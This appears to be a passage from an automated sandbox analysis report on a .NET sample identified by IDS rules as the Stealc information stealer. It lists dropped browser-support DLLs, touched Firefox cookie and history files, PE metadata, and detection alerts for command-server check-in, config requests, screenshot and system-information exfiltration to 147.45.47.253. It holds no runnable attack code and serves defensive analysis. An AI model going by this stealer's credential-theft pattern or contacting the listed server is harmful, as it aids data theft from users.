Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.967285473047852
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	file.exe
File size:	203'264 bytes
MD5:	fc980ed1da175090e176c4c4b9b1fd01
SHA1:	f8948fb28afc749d90014a013c13b7d639ee211d
SHA256:	3543cfe1a5a4a95e34c214cfaf0a1846373950ed16f5b8f255a351b52753470d
SHA512:	c93c8519326e85e6feee7ef1ce089374082c0a2e367d2f49e63693d119a45889e7e4fdb6bb40911831e513b7f900d8c25f4eb971902f240d7fb57207330e4ae6
SSDEEP:	6144:ByZqeSO44agPOywRB/EylpqewObMUN9tmbH:ByZYB4Oyk1hrN9Ab
TLSH:	D3141258D0DE2DB2C9920879AB3779064049E0B449E2BBFF34AFB5E64D4F3B40E2194D
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f............................^,... ...@....@.. ...............................{....`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x432c5e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66CE14CF [Tue Aug 27 18:02:55 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x32c0c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x34000	0x62e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x36000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x32ad4	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x30c64	0x30e00	3bb43035ebeff1bde7f62b3651d23240	False	0.9887807704603581	data	7.988328517331481	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x34000	0x62e	0x800	bf0472278e39778e532bb9665417624d	False	0.36279296875	data	3.5869167410428195	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x36000	0xc	0x200	d931cc9df548e770d9f1bf2493c5af01	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x340a0	0x3a4	data	English	United States	0.4667381974248927
RT_MANIFEST	0x34444	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-27T20:12:05.291525+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49710	80	192.168.2.6	147.45.47.253
2024-08-27T20:11:58.587619+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	49710	80	192.168.2.6	147.45.47.253
2024-08-27T20:12:00.566784+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49710	80	192.168.2.6	147.45.47.253
2024-08-27T20:12:08.735631+0200	TCP	2044249	ET MALWARE Win32/Stealc Submitting Screenshot to C2	1	49710	80	192.168.2.6	147.45.47.253
2024-08-27T20:11:58.396747+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	49710	80	192.168.2.6	147.45.47.253
2024-08-27T20:11:58.778347+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	49710	80	192.168.2.6	147.45.47.253
2024-08-27T20:11:58.594178+0200	TCP	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	80	49710	147.45.47.253	192.168.2.6
2024-08-27T20:11:58.785501+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	80	49710	147.45.47.253	192.168.2.6
2024-08-27T20:12:04.710022+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49710	80	192.168.2.6	147.45.47.253
2024-08-27T20:12:05.799472+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49710	80	192.168.2.6	147.45.47.253
2024-08-27T20:12:03.688201+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49710	80	192.168.2.6	147.45.47.253
2024-08-27T20:12:07.381699+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49710	80	192.168.2.6	147.45.47.253
2024-08-27T20:12:07.694092+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49710	80	192.168.2.6	147.45.47.253
2024-08-27T20:12:00.371953+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	49710	80	192.168.2.6	147.45.47.253

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 27, 2024 20:11:57.270867109 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:57.275693893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:57.275777102 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:57.276298046 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:57.281099081 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:57.908209085 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:57.908268929 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:57.911791086 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:57.916660070 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:58.396574020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:58.396747112 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:58.398030996 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:58.403448105 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:58.403515100 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:58.404459953 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:58.587553024 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:58.587619066 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:58.588215113 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:58.588264942 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:58.589252949 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:58.594177961 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:58.778280973 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:58.778347015 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:58.778382063 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:58.778392076 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:58.778428078 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:58.778445005 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:58.778568029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:58.778578997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:58.778599024 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:58.778628111 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:58.778662920 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:58.778733015 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:58.779011965 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:58.780175924 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:58.785501003 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:58.968781948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:58.968887091 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:58.983459949 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:58.983499050 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:11:58.991112947 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:58.991161108 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:58.991328955 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:58.991390944 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:11:58.991401911 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.371874094 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.371953011 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.373852015 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.374074936 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.374128103 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.375813961 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.375860929 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.376694918 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.376737118 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.380727053 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.566721916 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.566783905 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.566802979 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.566814899 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.566854954 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.566879034 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.566917896 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.566951036 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.567007065 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.567034006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.567081928 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.567146063 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.567157984 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.567167997 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.567209959 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.567631006 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.567688942 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.567718029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.567728996 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.567766905 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.567784071 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.567796946 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.567841053 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.660851002 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.660912037 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.660923004 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.660988092 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.661053896 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.661079884 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.661082029 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.661174059 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.661236048 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.661305904 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.661326885 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.661338091 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.661391020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.661408901 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.661464930 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.661784887 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.661839962 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.661864996 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.661876917 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.661917925 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.661998034 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.662010908 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.662051916 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.662131071 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.662178993 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.662772894 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.662827015 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.662837982 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.662853956 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.662885904 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.663018942 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.663031101 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.663043022 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.663073063 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.663083076 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.663753033 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.663795948 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.663799047 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.663805008 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.663839102 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.663849115 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.755327940 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.755387068 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.755387068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.755398989 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.755426884 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.755439043 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.755584955 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.755597115 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.755608082 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.755620003 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.755620003 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.755652905 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.755664110 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.755856037 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.755894899 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.755984068 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.755995989 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.756021976 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.756036997 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.756100893 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.756118059 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.756143093 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.756154060 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.756176949 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.756220102 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.756222963 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.756236076 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.756261110 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.756269932 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.756335020 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.756376028 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.756525993 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.756567001 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.756592989 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.756604910 CEST	80	49710	147.45.47.253	192.168.2.6
Aug 27, 2024 20:12:00.756630898 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.756642103 CEST	49710	80	192.168.2.6	147.45.47.253
Aug 27, 2024 20:12:00.756771088 CEST	80	49710	147.45.47.253	192.168.2.6
